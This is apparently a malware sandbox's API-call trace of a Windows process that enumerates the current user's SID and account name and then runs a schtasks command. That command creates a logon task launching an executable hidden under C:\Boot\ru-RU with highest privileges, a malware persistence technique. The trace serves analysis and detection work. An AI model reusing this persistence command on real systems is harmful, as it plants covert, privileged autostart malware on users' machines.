SysStringLen (param_1="S-1-5") returned 0x5 [0131.738] SysStringLen (param_1="-") returned 0x1 [0131.738] memcpy (in: _Dst=0x1395c8, _Src=0x139658, _Size=0xc | out: _Dst=0x1395c8) returned 0x1395c8 [0131.738] memcpy (in: _Dst=0x1395d2, _Src=0x139898, _Size=0x4 | out: _Dst=0x1395d2) returned 0x1395d2 [0131.738] free (_Block=0x2af0c0) [0131.738] free (_Block=0x2aefa0) [0131.738] malloc (_Size=0x18) returned 0x2aefa0 [0131.739] malloc (_Size=0x18) returned 0x2af0c0 [0131.739] SysStringLen (param_1="S-1-5-") returned 0x6 [0131.739] SysStringLen (param_1="21") returned 0x2 [0131.739] memcpy (in: _Dst=0x139898, _Src=0x1395c8, _Size=0xe | out: _Dst=0x139898) returned 0x139898 [0131.739] memcpy (in: _Dst=0x1398a4, _Src=0x139658, _Size=0x6 | out: _Dst=0x1398a4) returned 0x1398a4 [0131.739] free (_Block=0x2aef80) [0131.739] free (_Block=0x2aefa0) [0131.739] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2bc [0131.739] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0131.739] malloc (_Size=0x18) returned 0x2aefa0 [0131.739] malloc (_Size=0x18) returned 0x2aef80 [0131.739] SysStringLen (param_1="S-1-5-21") returned 0x8 [0131.739] SysStringLen (param_1="-") returned 0x1 [0131.739] memcpy (in: _Dst=0x139658, _Src=0x139898, _Size=0x12 | out: _Dst=0x139658) returned 0x139658 [0131.739] memcpy (in: _Dst=0x139668, _Src=0x1395c8, _Size=0x4 | out: _Dst=0x139668) returned 0x139668 [0131.739] free (_Block=0x2af0c0) [0131.739] free (_Block=0x2aefa0) [0131.739] malloc (_Size=0x18) returned 0x2aefa0 [0131.739] malloc (_Size=0x18) returned 0x2af0c0 [0131.739] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0131.739] SysStringLen (param_1="4219442223") returned 0xa [0131.740] memcpy (in: _Dst=0x1182b8, _Src=0x139658, _Size=0x14 | out: _Dst=0x1182b8) returned 0x1182b8 [0131.740] memcpy (in: _Dst=0x1182ca, _Src=0x139898, _Size=0x16 | out: _Dst=0x1182ca) returned 0x1182ca [0131.740] free (_Block=0x2aef80) [0131.740] free (_Block=0x2aefa0) [0131.740] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae2c0 [0131.740] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0131.740] malloc (_Size=0x18) returned 0x2aefa0 [0131.740] malloc (_Size=0x18) returned 0x2aef80 [0131.740] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0131.740] SysStringLen (param_1="-") returned 0x1 [0131.740] memcpy (in: _Dst=0x118218, _Src=0x1182b8, _Size=0x28 | out: _Dst=0x118218) returned 0x118218 [0131.740] memcpy (in: _Dst=0x11823e, _Src=0x139658, _Size=0x4 | out: _Dst=0x11823e) returned 0x11823e [0131.740] free (_Block=0x2af0c0) [0131.740] free (_Block=0x2aefa0) [0131.740] malloc (_Size=0x18) returned 0x2aefa0 [0131.740] malloc (_Size=0x18) returned 0x2af0c0 [0131.740] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0131.740] SysStringLen (param_1="4223814209") returned 0xa [0131.740] memcpy (in: _Dst=0x12d918, _Src=0x118218, _Size=0x2a | out: _Dst=0x12d918) returned 0x12d918 [0131.740] memcpy (in: _Dst=0x12d940, _Src=0x139658, _Size=0x16 | out: _Dst=0x12d940) returned 0x12d940 [0131.741] free (_Block=0x2aef80) [0131.741] free (_Block=0x2aefa0) [0131.741] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae2c4 [0131.741] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0131.741] malloc (_Size=0x18) returned 0x2aefa0 [0131.741] malloc (_Size=0x18) returned 0x2aef80 [0131.741] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0131.741] SysStringLen (param_1="-") returned 0x1 [0131.741] memcpy (in: _Dst=0x107588, _Src=0x12d918, _Size=0x3e | out: _Dst=0x107588) returned 0x107588 [0131.741] memcpy (in: _Dst=0x1075c4, _Src=0x139658, _Size=0x4 | out: _Dst=0x1075c4) returned 0x1075c4 [0131.741] free (_Block=0x2af0c0) [0131.741] free (_Block=0x2aefa0) [0131.741] malloc (_Size=0x18) returned 0x2aefa0 [0131.741] malloc (_Size=0x18) returned 0x2af0c0 [0131.741] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0131.741] SysStringLen (param_1="3835049652") returned 0xa [0131.741] memcpy (in: _Dst=0x12d918, _Src=0x107588, _Size=0x40 | out: _Dst=0x12d918) returned 0x12d918 [0131.741] memcpy (in: _Dst=0x12d956, _Src=0x139658, _Size=0x16 | out: _Dst=0x12d956) returned 0x12d956 [0131.741] free (_Block=0x2aef80) [0131.741] free (_Block=0x2aefa0) [0131.741] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae2c8 [0131.742] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0131.742] malloc (_Size=0x18) returned 0x2aefa0 [0131.742] malloc (_Size=0x18) returned 0x2aef80 [0131.742] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0131.742] SysStringLen (param_1="-") returned 0x1 [0131.742] memcpy (in: _Dst=0x107588, _Src=0x12d918, _Size=0x54 | out: _Dst=0x107588) returned 0x107588 [0131.742] memcpy (in: _Dst=0x1075da, _Src=0x139658, _Size=0x4 | out: _Dst=0x1075da) returned 0x1075da [0131.742] free (_Block=0x2af0c0) [0131.742] free (_Block=0x2aefa0) [0131.742] malloc (_Size=0x18) returned 0x2aefa0 [0131.742] malloc (_Size=0x18) returned 0x2af0c0 [0131.742] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0131.742] SysStringLen (param_1="1000") returned 0x4 [0131.742] memcpy (in: _Dst=0x12d918, _Src=0x107588, _Size=0x56 | out: _Dst=0x12d918) returned 0x12d918 [0131.742] memcpy (in: _Dst=0x12d96c, _Src=0x139658, _Size=0xa | out: _Dst=0x12d96c) returned 0x12d96c [0131.742] free (_Block=0x2aef80) [0131.742] free (_Block=0x2aefa0) [0131.742] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0131.742] malloc (_Size=0x5e) returned 0x2b08a0 [0131.742] free (_Block=0x2af0c0) [0131.742] malloc (_Size=0x18) returned 0x2af0c0 [0131.743] free (_Block=0x2b08a0) [0131.743] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0131.745] GetLastError () returned 0x7a [0131.745] malloc (_Size=0x14) returned 0x2aefa0 [0131.745] malloc (_Size=0x16) returned 0x2aef80 [0131.745] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2aefa0, cchName=0xe7ca84, ReferencedDomainName=0x2aef80, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0131.746] malloc (_Size=0x18) returned 0x2aefc0 [0131.746] malloc (_Size=0x18) returned 0x2af000 [0131.746] free (_Block=0x2aefa0) [0131.746] free (_Block=0x2aef80) [0131.746] free (_Block=0x2affd0) [0131.746] free (_Block=0x2af000) [0131.746] free (_Block=0x2aefc0) [0131.746] free (_Block=0x2af0c0) [0131.747] free (_Block=0x2ae2a0) [0131.747] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x109fb0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0131.747] GetTokenInformation (in: TokenHandle=0x2dc, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0131.747] GetLastError () returned 0x7a [0131.747] malloc (_Size=0x2c) returned 0x2ae2e0 [0131.747] GetTokenInformation (in: TokenHandle=0x2dc, TokenInformationClass=0x1, TokenInformation=0x2ae2e0, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2ae2e0, ReturnLength=0xe7cbf8) returned 1 [0131.747] IsValidSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0131.747] GetLengthSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0131.747] malloc (_Size=0x1c) returned 0x2affd0 [0131.747] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2affd0, pSourceSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2affd0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0131.747] GetSidIdentifierAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f2 [0131.747] malloc (_Size=0x18) returned 0x2af0c0 [0131.748] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0131.748] malloc (_Size=0x18) returned 0x2aefc0 [0131.748] malloc (_Size=0x18) returned 0x2af000 [0131.748] SysStringLen (param_1="S-1-") returned 0x4 [0131.748] SysStringLen (param_1="5") returned 0x1 [0131.748] memcpy (in: _Dst=0x139898, _Src=0x1395c8, _Size=0xa | out: _Dst=0x139898) returned 0x139898 [0131.748] memcpy (in: _Dst=0x1398a0, _Src=0x139658, _Size=0x4 | out: _Dst=0x1398a0) returned 0x1398a0 [0131.748] free (_Block=0x2af0c0) [0131.748] free (_Block=0x2aefc0) [0131.748] GetSidSubAuthorityCount (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f1 [0131.748] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2f8 [0131.748] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0131.748] malloc (_Size=0x18) returned 0x2aefc0 [0131.748] malloc (_Size=0x18) returned 0x2af0c0 [0131.748] SysStringLen (param_1="S-1-5") returned 0x5 [0131.748] SysStringLen (param_1="-") returned 0x1 [0131.748] memcpy (in: _Dst=0x139658, _Src=0x139898, _Size=0xc | out: _Dst=0x139658) returned 0x139658 [0131.748] memcpy (in: _Dst=0x139662, _Src=0x1395c8, _Size=0x4 | out: _Dst=0x139662) returned 0x139662 [0131.748] free (_Block=0x2af000) [0131.748] free (_Block=0x2aefc0) [0131.748] malloc (_Size=0x18) returned 0x2aefc0 [0131.749] malloc (_Size=0x18) returned 0x2af000 [0131.749] SysStringLen (param_1="S-1-5-") returned 0x6 [0131.749] SysStringLen (param_1="21") returned 0x2 [0131.749] memcpy (in: _Dst=0x1395c8, _Src=0x139658, _Size=0xe | out: _Dst=0x1395c8) returned 0x1395c8 [0131.749] memcpy (in: _Dst=0x1395d4, _Src=0x139898, _Size=0x6 | out: _Dst=0x1395d4) returned 0x1395d4 [0131.749] free (_Block=0x2af0c0) [0131.749] free (_Block=0x2aefc0) [0131.749] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2fc [0131.749] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0131.749] malloc (_Size=0x18) returned 0x2aefc0 [0131.749] malloc (_Size=0x18) returned 0x2af0c0 [0131.749] SysStringLen (param_1="S-1-5-21") returned 0x8 [0131.749] SysStringLen (param_1="-") returned 0x1 [0131.749] memcpy (in: _Dst=0x139898, _Src=0x1395c8, _Size=0x12 | out: _Dst=0x139898) returned 0x139898 [0131.749] memcpy (in: _Dst=0x1398a8, _Src=0x139658, _Size=0x4 | out: _Dst=0x1398a8) returned 0x1398a8 [0131.749] free (_Block=0x2af000) [0131.749] free (_Block=0x2aefc0) [0131.749] malloc (_Size=0x18) returned 0x2aefc0 [0131.749] malloc (_Size=0x18) returned 0x2af000 [0131.749] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0131.749] SysStringLen (param_1="4219442223") returned 0xa [0131.750] memcpy (in: _Dst=0x1182b8, _Src=0x139898, _Size=0x14 | out: _Dst=0x1182b8) returned 0x1182b8 [0131.750] memcpy (in: _Dst=0x1182ca, _Src=0x1395c8, _Size=0x16 | out: _Dst=0x1182ca) returned 0x1182ca [0131.784] free (_Block=0x2af0c0) [0131.784] free (_Block=0x2aefc0) [0131.784] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae300 [0131.784] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0131.784] malloc (_Size=0x18) returned 0x2aefc0 [0131.784] malloc (_Size=0x18) returned 0x2af0c0 [0131.784] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0131.784] SysStringLen (param_1="-") returned 0x1 [0131.784] memcpy (in: _Dst=0x118218, _Src=0x1182b8, _Size=0x28 | out: _Dst=0x118218) returned 0x118218 [0131.784] memcpy (in: _Dst=0x11823e, _Src=0x139898, _Size=0x4 | out: _Dst=0x11823e) returned 0x11823e [0131.784] free (_Block=0x2af000) [0131.784] free (_Block=0x2aefc0) [0131.784] malloc (_Size=0x18) returned 0x2aefc0 [0131.785] malloc (_Size=0x18) returned 0x2af000 [0131.785] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0131.785] SysStringLen (param_1="4223814209") returned 0xa [0131.785] memcpy (in: _Dst=0x107588, _Src=0x118218, _Size=0x2a | out: _Dst=0x107588) returned 0x107588 [0131.785] memcpy (in: _Dst=0x1075b0, _Src=0x139898, _Size=0x16 | out: _Dst=0x1075b0) returned 0x1075b0 [0131.785] free (_Block=0x2af0c0) [0131.785] free (_Block=0x2aefc0) [0131.785] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae304 [0131.785] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0131.785] malloc (_Size=0x18) returned 0x2aefc0 [0131.785] malloc (_Size=0x18) returned 0x2af0c0 [0131.785] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0131.785] SysStringLen (param_1="-") returned 0x1 [0131.785] memcpy (in: _Dst=0x12d918, _Src=0x107588, _Size=0x3e | out: _Dst=0x12d918) returned 0x12d918 [0131.785] memcpy (in: _Dst=0x12d954, _Src=0x139898, _Size=0x4 | out: _Dst=0x12d954) returned 0x12d954 [0131.785] free (_Block=0x2af000) [0131.785] free (_Block=0x2aefc0) [0131.785] malloc (_Size=0x18) returned 0x2aefc0 [0131.785] malloc (_Size=0x18) returned 0x2af000 [0131.785] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0131.785] SysStringLen (param_1="3835049652") returned 0xa [0131.786] memcpy (in: _Dst=0x107588, _Src=0x12d918, _Size=0x40 | out: _Dst=0x107588) returned 0x107588 [0131.786] memcpy (in: _Dst=0x1075c6, _Src=0x139898, _Size=0x16 | out: _Dst=0x1075c6) returned 0x1075c6 [0131.786] free (_Block=0x2af0c0) [0131.786] free (_Block=0x2aefc0) [0131.786] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae308 [0131.786] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0131.786] malloc (_Size=0x18) returned 0x2aefc0 [0131.786] malloc (_Size=0x18) returned 0x2af0c0 [0131.786] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0131.786] SysStringLen (param_1="-") returned 0x1 [0131.786] memcpy (in: _Dst=0x12d918, _Src=0x107588, _Size=0x54 | out: _Dst=0x12d918) returned 0x12d918 [0131.786] memcpy (in: _Dst=0x12d96a, _Src=0x139898, _Size=0x4 | out: _Dst=0x12d96a) returned 0x12d96a [0131.786] free (_Block=0x2af000) [0131.786] free (_Block=0x2aefc0) [0131.786] malloc (_Size=0x18) returned 0x2aefc0 [0131.786] malloc (_Size=0x18) returned 0x2af000 [0131.786] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0131.786] SysStringLen (param_1="1000") returned 0x4 [0131.786] memcpy (in: _Dst=0x107588, _Src=0x12d918, _Size=0x56 | out: _Dst=0x107588) returned 0x107588 [0131.786] memcpy (in: _Dst=0x1075dc, _Src=0x139898, _Size=0xa | out: _Dst=0x1075dc) returned 0x1075dc [0131.786] free (_Block=0x2af0c0) [0131.787] free (_Block=0x2aefc0) [0131.787] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0131.787] malloc (_Size=0x5e) returned 0x2b08a0 [0131.787] free (_Block=0x2af000) [0131.787] malloc (_Size=0x18) returned 0x2af000 [0131.787] free (_Block=0x2b08a0) [0131.787] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0131.788] GetLastError () returned 0x7a [0131.788] malloc (_Size=0x14) returned 0x2aefc0 [0131.788] malloc (_Size=0x16) returned 0x2af0c0 [0131.788] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2aefc0, cchName=0xe7ca94, ReferencedDomainName=0x2af0c0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0131.789] malloc (_Size=0x18) returned 0x2aef80 [0131.789] malloc (_Size=0x18) returned 0x2aefa0 [0131.789] free (_Block=0x2aefc0) [0131.789] free (_Block=0x2af0c0) [0131.790] free (_Block=0x2affd0) [0131.790] free (_Block=0x2aefa0) [0131.790] free (_Block=0x2aef80) [0131.790] free (_Block=0x2af000) [0131.790] free (_Block=0x2ae2e0) [0131.790] malloc (_Size=0x48) returned 0x2ad270 [0131.790] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0131.796] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0131.796] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0131.796] malloc (_Size=0x18) returned 0x2af000 [0131.824] CreateEnvironmentBlock () returned 0x1 [0131.830] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0131.830] malloc (_Size=0x18) returned 0x2aef80 [0131.830] CreateProcessAsUserW (in: hToken=0x2d0, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"but inside save\" /sc ONLOGON /tr \"'C:\\Boot\\ru-RU\\but inside save.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x16ec20, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"but inside save\" /sc ONLOGON /tr \"'C:\\Boot\\ru-RU\\but inside save.exe'\" /rl HIGHEST /f", lpProcessInformation=0xe7cba0*(hProcess=0x2f8, hThread=0x248, dwProcessId=0xefc, dwThreadId=0xf00)) returned 1 [0131.834] CloseHandle (hObject=0x2f8) returned 1 [0131.834] CloseHandle (hObject=0x248) returned 1 [0131.835] free (_Block=0x2aef80) [0131.835] DestroyEnvironmentBlock () returned 0x1 [0131.835] malloc (_Size=0x48) returned 0x2ad220 [0131.835] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x1d941c20, dwHighDateTime=0x1d8a92a)) [0131.835] SetEvent (hEvent=0x1f0) returned 1 [0131.835] CloseHandle (hObject=0x2dc) returned 1 [0131.835] CloseHandle (hObject=0x2d0) returned 1 [0132.001] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd960 [0132.001] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd960, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0132.002] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd960 | out: hHeap=0xc0000) returned 1 [0132.396] SetLastError (dwErrCode=0x0) [0132.397] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0132.397] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0132.397] SetLastError (dwErrCode=0x0) [0132.397] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0132.397] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd960 [0132.397] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0132.397] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12f0a0 [0132.397] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12f0a0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0132.397] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12f0a0 | out: hHeap=0xc0000) returned 1 [0132.399] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0132.399] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0132.400] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0132.400] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0132.400] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0132.400] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0132.400] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0132.402] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0132.402] GetCurrentThread () returned 0xfffffffffffffffe [0132.402] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x2d0) returned 1 [0132.402] malloc (_Size=0xd8) returned 0x2b8790 [0132.402] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0132.403] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0132.403] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0132.403] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0132.403] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0132.403] GetProcAddress 